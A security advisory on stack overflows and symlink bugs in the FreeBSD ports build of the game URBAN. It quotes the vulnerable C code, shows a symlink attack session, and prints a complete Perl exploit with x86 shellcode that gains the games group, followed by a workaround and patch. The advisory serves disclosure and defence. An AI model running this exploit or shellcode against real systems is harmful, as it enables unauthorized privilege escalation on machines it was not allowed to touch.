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URBAN Multiple Vulnerabilities
------------------------------------------------------------------------
SUMMARY
" <https://urban.bengburken.net> URBAN is a bloody, violent sidescrolling
shoot-em-up in which you're a renegade military cyborg fighting your way
out of the military base where you were created."
URBAN suffers from multiple stack based overflow that allow a local user
to run arbitrary code on the machine.
DETAILS
Vulnerable Systems:
* URBAN version 1.5.3_1
FreeBSD ports release of URBAN installs the game with a setuid flag, which
allows privileges escalation.
Immune Systems:
* The latest official release of urban, 1.5.3, contains all the bugs
aforementioned, but does not install urban with setgid games privileges.
The official version of URBAN when installed from the vendor website does
not install itself as setuid, so no privilege escalation is done.
Nevertheless, URBAN is also maintained and distributed as a FreeBSD ports
package, as well as having its own developer and official tarball release.
The FreeBSD ports package (/usr/ports/games/urban) installs setgid games
by default, to allow for global score files. This allows an attacker to
exploit these vulnerabilities to gain higher privileges.
Stack Overflow in Environment Variables:
Urban is vulnerable to a stack overflow when handling the $HOME
environmental variable. When urban is installed with setgid games
privileges, privilege escalation is possible. The overflow occurs when
urban copies the contents of the user's $HOME environmental variable into
a fixed-length buffer without bounds checking (sprintf is used):
[ ... ]
sprintf(filename, "%s/.urban", getenv("HOME"));
[ ... ]
sprintf(filename, "%s/.urban/savegame.dat", getenv("HOME"));
[ ... ]
Several other less likely stack overflows may occur, such as in the
copying of the $USER environmental variable in certain circumstances.
[ ... ]
if(getenv("USER") != NULL)
strcpy(Name, getenv("USER"));
[ ... ]
Unsafe Symlink Handling:
Urban is also vulnerable to some less serious symlink bugs, due to the
following of symbolic links when creating certain high score and save game
files.
[ ... ]
/* Create dir */
sprintf(filename, "%s/.urban", getenv("HOME"));
[ ... ]
mkdir(filename, S_IRUSR | S_IWUSR | S_IXUSR);
sprintf(filename, "%s/.urban/savegame.dat",
getenv("HOME"));
if((fs = fopen(filename, "wb")) == NULL)
[ ... ]
When urban has the setgid games privileges, an attacker can craft an
appropriate symbolic link (i.e. ~/.urban/savegame.dat) which can lead to
creation and/or truncation of files with the privileges of gid games. This
may allow attackers to edit global score files and possibly leverage
further attacks (i.e. exploit symlink bugs in games which require
write-access to /var/games to exploit).
Exploit Code:
The symbolic link bug outlined earlier can be exploited by creating a
suitable symbolic link in one's home directory, such as
~/.urban/savegame.dat.
bash-2.05b# ls -l /var/games/helloworld
ls: /var/games/helloworld: No such file or directory
bash-2.05b# ln -s /var/games/helloworld savegame.dat
bash-2.05b# ls -l
total 0
lrwxr-xr-x 1 root wheel 21 Sep 4 16:17 savegame.dat ->
/var/games/helloworld
bash-2.05b# urban
[ output truncated ]
bash-2.05b# ls -l /var/games/helloworld
-rw-r--r-- 1 root games 0 Sep 4 16:17 /var/games/helloworld
It is possible to write to any file writable by group games. Such may
allow editing of score files and the possibility of further privilege
escalation (i.e. exploitation of bugs which require access to score file
dirs).
The stack overflow in handling of the user's $HOME environmental variable
is exploitable as a vanilla buffer overflow.
su-2.05b$ export HOME=`perl -e 'print "a"x2000'`
su-2.05b$ gdb -q urban
(no debugging symbols found)...(gdb) r
Starting program: /usr/X11R6/bin/urban
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1 (LWP 100144)]
0x61616161 in ?? ()
(gdb)
Exploitation is straight forward.
#!/usr/bin/perl
# FreeBSD /usr/ports/games/urban local stack overflow exploit
# 'urban' is vulnerable to a stack overflow when handling
# the $HOME environmental variable, thus allowing privilege
# escalation to gid games since 'urban' is setgid 'games'.
# Shellcode and NOPs are placed inside an environmental variable
# ($HACK) and $HOME is crafted such that 'urban' will return into
# the code in $HACK. The address of $HACK in the environment may
# need some investigating (i.e. using gdb).
#
# shaun@213$ id
# uid=1003(shaun) gid=1004(shaun) groups=1004(shaun)
# shaun@213$ perl urban.pl
# $ id
# uid=1003(shaun) gid=1004(shaun) egid=13(games) groups=13(games),
1004(shaun)
# $
$ret = 0xbfbfeece; #works on my FreeBSD 5.4-RELEASE system
$nop = "\x90";
$shellcode =
"\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89".
"\x76\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46".
"\x08\x1b\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d".
"\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07".
"\x07\xe8\xc4\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02".
"\x02\x02\x02\x02\x02\x02\x02/bin/sh.-c.sh";
for($i = 0; $i < 100; $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
local($ENV{'HACK'}) = $buffer;
$ret = pack("l", $ret);
local($ENV{'HOME'}) = "a"x1036 . $ret;
exec("urban"); # run vulnerable program
Code is also available at: <http://www.demodulated.net/exploits/urban.pl>
http://www.demodulated.net/exploits/urban.pl
Exploit example output:
su-2.05b$ id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
su-2.05b$ perl urban.pl
$ id
uid=1002(shaun) gid=1002(shaun) egid=13(games) groups=13(games),
1002(shaun)
Workaround:
Remove setgid games privileges from the urban binary.
bash-2.05b# ls -l `which urban`
-r-xr-sr-x 1 root games 340224 Sep 4 16:17 /usr/X11R6/bin/urban
bash-2.05b# chmod g-s `which urban`
bash-2.05b# ls -l `which urban`
-r-xr-xr-x 1 root games 340224 Sep 4 16:17 /usr/X11R6/bin/urban
This will render global scoring unusable unless urban is run as root or
games user.
Solution:
Information and patches were submitted to the FreeBSD ports urban
maintainer, Jean-Yves Lefort, and he reports that the patches have been
committed for later release. An unofficial patch file can be obtained at:
<http://www.demodulated.net/urban-overflows.patch>
http://www.demodulated.net/urban-overflows.patch
The patch fixes the overflows mentioned earlier, and several other
possible overflows. Privileges are also dropped at the beginning of
execution and restored when needed.
ADDITIONAL INFORMATION
The information has been provided by <mailto:shaun@rsc.cx> Shaun Colley.
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